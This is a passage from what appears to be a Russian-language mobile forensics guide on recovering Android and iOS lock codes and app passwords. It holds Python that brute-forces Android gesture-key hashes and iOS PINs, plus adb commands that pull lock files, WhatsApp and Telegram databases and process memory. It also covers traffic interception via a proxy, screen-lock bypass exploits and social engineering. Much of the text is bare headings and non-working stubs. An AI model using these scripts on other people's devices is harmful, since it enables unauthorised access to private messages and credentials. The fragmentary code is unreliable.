        # Проверка, что следующая точка достижима

        if not is_adjacent_or_diagonal(current, next_point):

            return False

    

    return True



def is_adjacent_or_diagonal(p1, p2):

    """Проверка, что точки соседние или по диагонали"""

    row1, col1 = divmod(p1, 3)

    row2, col2 = divmod(p2, 3)

    

    return abs(row1 - row2) <= 1 and abs(col1 - col2) <= 1



def hash_pattern(pattern):

    """Хеширование паттерна по алгоритму Android"""

    pattern_str = ''.join(map(str, pattern))

    return hashlib.sha1(pattern_str.encode('utf-8')).hexdigest()



def crack_gesture(gesture_hash):

    """Брутфорс графического ключа"""

    patterns = generate_pattern_combinations()

    

    print(f"Total patterns to check: {len(patterns)}")

    

    for i, pattern in enumerate(patterns):

        if hash_pattern(pattern) == gesture_hash:

            return pattern

        

        # Показ прогресса

        if i % 10000 == 0:

            print(f"Progress: {i}/{len(patterns)}")

    

    return None



<h2 id="ispolzovanie">Использование</h2>

gesture_hash = open('gesture.key', 'rb').read().hex()

pattern = crack_gesture(gesture_hash)



if pattern:

    print(f"Found pattern: {'-'.join(map(str, pattern))}")

else:

    print("Pattern not found")

<h2 id="android-pattern-lock-cracker">Android Pattern Lock Cracker</h2>

python androidpatternlock.py gesture.key



<h2 id="ili-ispolzovanie-onlayn-instrumentov">Или использование онлайн инструментов</h2>

<h2 id="ne-rekomenduetsya-dlya-konfidentsialnyh-rassledovaniy">(не рекомендуется для конфиденциальных расследований)</h2>

<h2 id="izvlechenie-cherez-rezervnuyu-kopiyu">Извлечение через резервную копию</h2>

<h2 id="1-sozdanie-rezervnoy-kopii-itunes">1. Создание резервной копии iTunes</h2>

<h2 id="2-analiz-rezervnoy-kopii">2. Анализ резервной копии</h2>

<h2 id="3-poisk-faylov-keychain">3. Поиск файлов Keychain</h2>

<h2 id="4-rasshifrovka-keychain">4. Расшифровка Keychain</h2>

<h2 id="5-izvlechenie-pin-koda">5. Извлечение PIN-кода</h2>

import plistlib



def analyze_lockstate(lockstate_path):

    """Анализ файла LockState.plist"""

    with open(lockstate_path, 'rb') as f:

        lockstate = plistlib.load(f)

        

        # Анализ состояния блокировки

        print(f"Locked: {lockstate.get('isLocked', False)}")

        print(f"Passcode present: {lockstate.get('passcodePresent', False)}")

        

        # Поиск подсказок о пароле

        # (iOS не хранит пароль напрямую)

def crack_ios_pin(device_key, max_length=6):

    """Брутфорс PIN-кода iOS устройства"""

    # iOS использует сложное шифрование

    # Требуется ключ устройства для проверки PIN

    

    for length in range(4, max_length + 1):

        for pin in itertools.product('0123456789', repeat=length):

            pin_str = ''.join(pin)

            

            # Проверка PIN через Keychain или другие методы

            # (упрощенный пример)

            if verify_ios_pin(pin_str, device_key):

                return pin_str

    

    return None

def optimized_pattern_crack(gesture_hash):

    """Оптимизированный брутфорс с использованием частых паттернов"""

    # Список наиболее распространенных паттернов

    common_patterns = [

        [0, 1, 2, 5, 8],  # Z-образный

        [0, 3, 6, 7, 8],  # L-образный

        [2, 1, 0, 3, 6],  # Обратный L

        [0, 4, 8],        # Диагональ

        [2, 4, 6],        # Обратная диагональ

    ]

    

    # Сначала проверяем распространенные паттерны

    for pattern in common_patterns:

        if hash_pattern(pattern) == gesture_hash:

            return pattern

    

    # Затем полный перебор

    return crack_gesture(gesture_hash)

<h2 id="android-poisk-baz-dannyh-whatsapp">Android: Поиск баз данных WhatsApp</h2>

adb pull /data/data/com.whatsapp/databases/msgstore.db

adb pull /data/data/com.whatsapp/databases/wa.db



<h2 id="ios-poisk-v-rezervnyh-kopiyah">iOS: Поиск в резервных копиях</h2>

<h2 id="fayly-whatsapp-v-rezervnoy-kopii-itunes">Файлы WhatsApp в резервной копии iTunes</h2>

<h2 id="android-baza-dannyh-telegram">Android: База данных Telegram</h2>

adb pull /data/data/org.telegram.messenger/files/tgnet.dat



<h2 id="ios-poisk-v-keychain-ili-rezervnyh-kopiyah">iOS: Поиск в Keychain или резервных копиях</h2>

<h2 id="android-poisk-v-keystore">Android: Поиск в KeyStore</h2>

<h2 id="mnogie-bankovskie-prilozheniya-ispolzuyut-hardware-backed-keystore">Многие банковские приложения используют Hardware-backed KeyStore</h2>




<h2 id="ios-poisk-v-keychain">iOS: Поиск в Keychain</h2>

<h2 id="bankovskie-prilozheniya-ispolzuyut-zaschischennye-keychain-items">Банковские приложения используют защищенные Keychain items</h2>

import sqlite3

import os



def analyze_app_database(app_package, db_name):

    """Анализ базы данных приложения"""

    db_path = f"/data/data/{app_package}/databases/{db_name}"

    

    # Извлечение через ADB

    os.system(f"adb pull {db_path} .")

    

    # Анализ базы данных

    conn = sqlite3.connect(db_name)

    cursor = conn.cursor()

    

    # Поиск таблиц с паролями

    cursor.execute("SELECT name FROM sqlite_master WHERE type='table'")

    tables = cursor.fetchall()

    

    for table in tables:

        table_name = table[0]

        # Поиск столбцов с паролями

        cursor.execute(f"PRAGMA table_info({table_name})")

        columns = cursor.fetchall()

        

        for col in columns:

            if 'password' in col[1].lower() or 'pass' in col[1].lower():

                print(f"Found password column in {table_name}.{col[1]}")

                # Извлечение данных

                cursor.execute(f"SELECT * FROM {table_name}")

                rows = cursor.fetchall()

                for row in rows:

                    print(row)

    

    conn.close()

import keychain

import plistlib



def extract_app_passwords_from_keychain(keychain_path):

    """Извлечение паролей приложений из Keychain"""

    # Keychain защищен и требует расшифровки

    # Использование инструментов для работы с Keychain

    

    # Поиск паролей приложений

    # Каждое приложение может хранить пароли в Keychain

    pass

def extract_from_keystore(device_path):

    """Извлечение паролей из Android KeyStore"""

    keystore_path = f"{device_path}/data/misc/keystore"

    

    # KeyStore защищен аппаратным модулем

    # Требует специальных методов для извлечения

    pass

<h2 id="sozdanie-dampa-pamyati-zapuschennogo-prilozheniya">Создание дампа памяти запущенного приложения</h2>

adb shell "cat /proc/[PID]/mem" > app_memory.dump



<h2 id="poisk-paroley-v-pamyati">Поиск паролей в памяти</h2>

strings app_memory.dump | grep -i password

<h2 id="ispolzovanie-proksi-dlya-perehvata-trafika">Использование прокси для перехвата трафика</h2>

<h2 id="mnogie-prilozheniya-peredayut-paroli-v-otkrytom-vide-ili-s-slabym-shifrovaniem">Многие приложения передают пароли в открытом виде или с слабым шифрованием</h2>




<h2 id="nastroyka-proksi">Настройка прокси</h2>

adb shell settings put global http_proxy 192.168.1.100:8080



<h2 id="perehvat-cherez-burp-suite-ili-charles-proxy">Перехват через Burp Suite или Charles Proxy</h2>

<h2 id="analiz-zaprosov-na-nalichie-paroley">Анализ запросов на наличие паролей</h2>

<h2 id="android-google-backup">Android: Google Backup</h2>

<h2 id="ios-itunes-icloud-rezervnye-kopii">iOS: iTunes/iCloud резервные копии</h2>




<h2 id="prilozheniya-mogut-sohranyat-paroli-v-rezervnyh-kopiyah">Приложения могут сохранять пароли в резервных копиях</h2>

<h2 id="analiz-rezervnyh-kopiy-mozhet-vyyavit-paroli">Анализ резервных копий может выявить пароли</h2>

<h2 id="shag-1-podklyuchenie-ustroystva">Шаг 1: Подключение устройства</h2>

adb devices



<h2 id="shag-2-poisk-prilozheniya">Шаг 2: Поиск приложения</h2>

adb shell pm list packages | grep messenger



<h2 id="shag-3-izvlechenie-baz-dannyh">Шаг 3: Извлечение баз данных</h2>

adb pull /data/data/com.example.messenger/databases/



<h2 id="shag-4-analiz-baz-dannyh">Шаг 4: Анализ баз данных</h2>

sqlite3 messages.db

SELECT * FROM accounts;



<h2 id="shag-5-poisk-paroley">Шаг 5: Поиск паролей</h2>

<h2 id="proverka-razlichnyh-tablits-i-stolbtsov">Проверка различных таблиц и столбцов</h2>

<h2 id="android-hranit-otpechatki-v">Android хранит отпечатки в:</h2>

<h2 id="data-system-users-0-fpdata">/data/system/users/0/fpdata/</h2>

<h2 id="fayly-zashifrovany-i-trebuyut-spetsialnyh-metodov">Файлы зашифрованы и требуют специальных методов</h2>

<h2 id="primer-cve-2015-3864">Пример: CVE-2015-3864</h2>

<h2 id="pozvolyaet-oboyti-blokirovku-ekrana-cherez-opredelennye-metody">Позволяет обойти блокировку экрана через определенные методы</h2>




<h2 id="ispolzovanie-eksployta">Использование эксплойта</h2>

<h2 id="poluchenie-dostupa-k-sisteme">Получение доступа к системе</h2>

<h2 id="izvlechenie-dannyh">Извлечение данных</h2>

<h2 id="esli-vklyuchena-otladka-po-usb">Если включена отладка по USB</h2>

adb shell

<h2 id="popytka-dostupa-k-dannym-bez-razblokirovki">Попытка доступа к данным без разблокировки</h2>

<h2 id="zagruzka-v-recovery-mode">Загрузка в recovery mode</h2>

<h2 id="dostup-k-faylovoy-sisteme">Доступ к файловой системе</h2>

<h2 id="kopirovanie-dannyh">Копирование данных</h2>

<h2 id="esli-ustroystvo-podklyucheno-k-smart-chasam">Если устройство подключено к смарт-часам</h2>

<h2 id="nekotorye-funktsii-mogut-byt-dostupny-bez-razblokirovki">Некоторые функции могут быть доступны без разблокировки</h2>

<h2 id="tolko-dlya-uyazvimyh-ustroystv">Только для уязвимых устройств</h2>

<h2 id="zagruzka-kastomnogo-obraza">Загрузка кастомного образа</h2>

<h2 id="dostup-k-faylovoy-sisteme">Доступ к файловой системе</h2>

<h2 id="sozdanie-rezervnoy-kopii-cherez-itunes">Создание резервной копии через iTunes</h2>

<h2 id="analiz-rezervnoy-kopii">Анализ резервной копии</h2>

<h2 id="izvlechenie-dannyh">Извлечение данных</h2>

<h2 id="poluchenie-jailbreak-dostupa">Получение jailbreak доступа</h2>

<h2 id="root-dostup-k-sisteme">Root доступ к системе</h2>

<h2 id="izvlechenie-dannyh">Извлечение данных</h2>

<h2 id="nekotorye-versii-ios-imeli-uyazvimosti-v-siri">Некоторые версии iOS имели уязвимости в Siri</h2>

<h2 id="pozvolyali-oboyti-blokirovku-v-opredelennyh-usloviyah">Позволяли обойти блокировку в определенных условиях</h2>

<h2 id="klyuch-shifrovaniya-dek-hranitsya-v-zashifrovannom-vide">Ключ шифрования (DEK) хранится в зашифрованном виде</h2>

<h2 id="klyuch-shifrovaniya-klyucha-kek-vyvoditsya-iz-parolya">Ключ шифрования ключа (KEK) выводится из пароля</h2>

<h2 id="formula-kek-pbkdf2-password-salt-iterations">Формула: KEK = PBKDF2(Password, Salt, Iterations)</h2>

<h2 id="esli-parol-izvesten-ili-izvlechen">Если пароль известен или извлечен</h2>

<h2 id="rasshifrovka-dannyh-ustroystva">Расшифровка данных устройства</h2>

<h2 id="dostup-ko-vsem-dannym">Доступ ко всем данным</h2>

<h2 id="ispolzovanie-uyazvimostey-v-sisteme-shifrovaniya">Использование уязвимостей в системе шифрования</h2>

<h2 id="ekspluatatsiya-oshibok-v-realizatsii">Эксплуатация ошибок в реализации</h2>

<h2 id="poluchenie-klyuchey-do-rasshifrovki">Получение ключей до расшифровки</h2>

<h2 id="pryamoy-dostup-k-pamyati">Прямой доступ к памяти</h2>

<h2 id="izvlechenie-klyuchey-iz-pamyati">Извлечение ключей из памяти</h2>

<h2 id="rasshifrovka-dannyh">Расшифровка данных</h2>

<h2 id="kazhdyy-fayl-mozhet-byt-zashifrovan-otdelnym-klyuchom">Каждый файл может быть зашифрован отдельным ключом</h2>

<h2 id="direct-boot-dannye-dostupny-do-razblokirovki">Direct Boot: данные доступны до разблокировки</h2>

<h2 id="credential-encrypted-dannye-dostupny-posle-razblokirovki">Credential Encrypted: данные доступны после разблокировки</h2>

<h2 id="dostup-k-direct-boot-dannym-bez-parolya">Доступ к Direct Boot данным без пароля</h2>

<h2 id="credential-encrypted-dannye-trebuyut-parol">Credential Encrypted данные требуют пароль</h2>

<h2 id="ispolzovanie-kombinatsii-metodov">Использование комбинации методов</h2>

<h2 id="complete-protection-trebuet-parol">Complete Protection: требует пароль</h2>

<h2 id="protected-unless-open-dostupen-poka-fayl-otkryt">Protected Unless Open: доступен пока файл открыт</h2>

<h2 id="protected-until-first-user-authentication-dostupen-posle-pervoy-razblokirovki">Protected Until First User Authentication: доступен после первой разблокировки</h2>

<h2 id="no-protection-ne-zashifrovan">No Protection: не зашифрован</h2>

<h2 id="dostup-k-dannym-bez-zaschity">Доступ к данным без защиты</h2>

<h2 id="chastichnyy-dostup-k-dannym-s-zaschitoy">Частичный доступ к данным с защитой</h2>

<h2 id="polnyy-dostup-trebuet-parol">Полный доступ требует пароль</h2>

<h2 id="1-popytka-logicheskogo-izvlecheniya">1. Попытка логического извлечения</h2>

<h2 id="2-esli-ne-udalos-fizicheskiy-izvlechenie">2. Если не удалось - физический извлечение</h2>

<h2 id="3-analiz-rezervnyh-kopiy">3. Анализ резервных копий</h2>

<h2 id="4-sotsialnaya-inzheneriya">4. Социальная инженерия</h2>

<h2 id="5-kombinatsiya-rezultatov">5. Комбинация результатов</h2>

<h2 id="poisk-podskazok-o-parolyah-v">Поиск подсказок о паролях в:</h2>

<h2 id="kontaktah">- Контактах</h2>

<h2 id="soobscheniyah">- Сообщениях</h2>

<h2 id="fotografiyah">- Фотографиях</h2>

<h2 id="email">- Email</h2>

<h2 id="drugih-ustroystvah">- Других устройствах</h2>

<h2 id="nekotorye-dannye-dostupny-v-opredelennye-momenty">Некоторые данные доступны в определенные моменты:</h2>

<h2 id="posle-razblokirovki-ustroystva">- После разблокировки устройства</h2>

<h2 id="vo-vremya-raboty-prilozheniy">- Во время работы приложений</h2>

<h2 id="pri-sozdanii-rezervnyh-kopiy">- При создании резервных копий</h2>

<h2 id="perehvat-trafika-ustroystva">Перехват трафика устройства</h2>

<h2 id="poisk-paroley-v-setevyh-zaprosah">Поиск паролей в сетевых запросах</h2>

<h2 id="analiz-nezashifrovannogo-trafika">Анализ незашифрованного трафика</h2>

<h2 id="nekotorye-prilozheniya-imeyut-uyazvimosti">Некоторые приложения имеют уязвимости</h2>

<h2 id="pozvolyayut-izvlech-paroli-bez-polnogo-dostupa">Позволяют извлечь пароли без полного доступа</h2>

<h2 id="ispolzovanie-eksploytov">Использование эксплойтов</h2>

<h2 id="sozdanie-dampov-pamyati">Создание дампов памяти</h2>

<h2 id="poisk-paroley-v-otkrytom-vide">Поиск паролей в открытом виде</h2>

<h2 id="poisk-klyuchey-shifrovaniya">Поиск ключей шифрования</h2>

<h2 id="analiz-struktur-dannyh">Анализ структур данных</h2>

#!/usr/bin/env python3

import subprocess

import sqlite3

import hashlib

import itertools



class PasswordExtractor:

    """Автоматизированное извлечение паролей"""

    

    def __init__(self, device_type='android'):

        self.device_type = device_type

        self.passwords = []

    

    def extract_android_passwords(self):

        """Извлечение паролей из Android устройства"""

        # Извлечение файлов

        self.extract_lock_files()

        

        # Анализ файлов

        self.analyze_locksettings()

        self.analyze_gesture()

        

        # Брутфорс при необходимости

        self.brute_force_passwords()

    

    def extract_lock_files(self):

        """Извлечение файлов с паролями"""

        files = [

            '/data/system/locksettings.db',

            '/data/system/gesture.key',

            '/data/system/password.key',

            '/data/system/gatekeeper.password.key'

        ]

        

        for file_path in files:

            try:

                subprocess.run(['adb', 'pull', file_path, '.'], check=True)

            except subprocess.CalledProcessError:

                pass

    

    def analyze_locksettings(self):

        """Анализ базы данных locksettings"""

        try:

            conn = sqlite3.connect('locksettings.db')

            cursor = conn.cursor()

            

            cursor.execute("SELECT name, value FROM locksettings")

            rows = cursor.fetchall()

            

            for name, value in rows:

                if 'password' in name.lower():

                    self.passwords.append({

                        'type': 'password_hash',

                        'name': name,

                        'value': value

                    })

            

            conn.close()

        except Exception as e:

            print(f"Error analyzing locksettings: {e}")

    

    def analyze_gesture(self):

        """Анализ графического ключа"""

        try:

            with open('gesture.key', 'rb') as f:

                gesture_hash = f.read().hex()

                self.passwords.append({

                    'type': 'gesture_hash',

                    'value': gesture_hash

                })

        except Exception as e:

            print(f"Error analyzing gesture: {e}")

    

    def brute_force_passwords(self):

        """Брутфорс паролей"""

        for password_info in self.passwords:

            if password_info['type'] == 'gesture_hash':

                pattern = self.crack_gesture(password_info['value'])

                if pattern:

                    print(f"Found gesture pattern: {pattern}")

    

    def crack_gesture(self, gesture_hash):

        """Взлом графического ключа"""

        # Упрощенная версия

        # В реальности требует оптимизации

        pass



<h2 id="ispolzovanie">Использование</h2>

extractor = PasswordExtractor('android')

extractor.extract_android_passwords()

<h2 id="sbor-dannyh-iz-razlichnyh-istochnikov">Сбор данных из различных источников:</h2>

<h2 id="ustroystvo">- Устройство</h2>

<h2 id="rezervnye-kopii">- Резервные копии</h2>

<h2 id="oblachnye-servisy">- Облачные сервисы</h2>

<h2 id="drugie-ustroystva">- Другие устройства</h2>

<h2 id="sotsialnye-seti">- Социальные сети</h2>




<h2 id="korrelyatsiya-dannyh-dlya-vosstanovleniya-paroley">Корреляция данных для восстановления паролей</h2>

<h2 id="mnogie-ustroystva-sinhroniziruyut-dannye-s-oblakom">Многие устройства синхронизируют данные с облаком</h2>

<h2 id="dostup-k-oblachnym-dannym-mozhet-byt-prosche">Доступ к облачным данным может быть проще</h2>

<h2 id="analiz-oblachnyh-dannyh-dlya-poiska-paroley">Анализ облачных данных для поиска паролей</h2>

<h2 id="ispolzovanie-ml-dlya-predskazaniya-paroley">Использование ML для предсказания паролей</h2>

<h2 id="analiz-patternov-polzovatelya">Анализ паттернов пользователя</h2>

<h2 id="generatsiya-veroyatnyh-paroley">Генерация вероятных паролей</h2>

<h2 id="opredelenie-tseley-izvlecheniya">Определение целей извлечения</h2>

<h2 id="vybor-metodov-i-instrumentov">Выбор методов и инструментов</h2>

<h2 id="planirovanie-protsessa">Планирование процесса</h2>

<h2 id="otsenka-riskov">Оценка рисков</h2>

<h2 id="vedenie-zhurnala-vseh-deystviy">Ведение журнала всех действий</h2>

<h2 id="sohranenie-vseh-dannyh">Сохранение всех данных</h2>

<h2 id="dokumentirovanie-metodov">Документирование методов</h2>

<h2 id="sozdanie-otchetov">Создание отчетов</h2>

<h2 id="ispolzovanie-write-blockers">Использование write-blockers</h2>

<h2 id="sozdanie-obrazov-vmesto-raboty-s-originalom">Создание образов вместо работы с оригиналом</h2>

<h2 id="proverka-tselostnosti-dannyh">Проверка целостности данных</h2>

<h2 id="ispolzovanie-heshey-dlya-proverki">Использование хешей для проверки</h2>

<h2 id="zaschita-izvlechennyh-dannyh">Защита извлеченных данных</h2>

<h2 id="shifrovanie-dannyh-rassledovaniya">Шифрование данных расследования</h2>

<h2 id="ogranichenie-dostupa">Ограничение доступа</h2>

<h2 id="unichtozhenie-dannyh-posle-zaversheniya">Уничтожение данных после завершения</h2>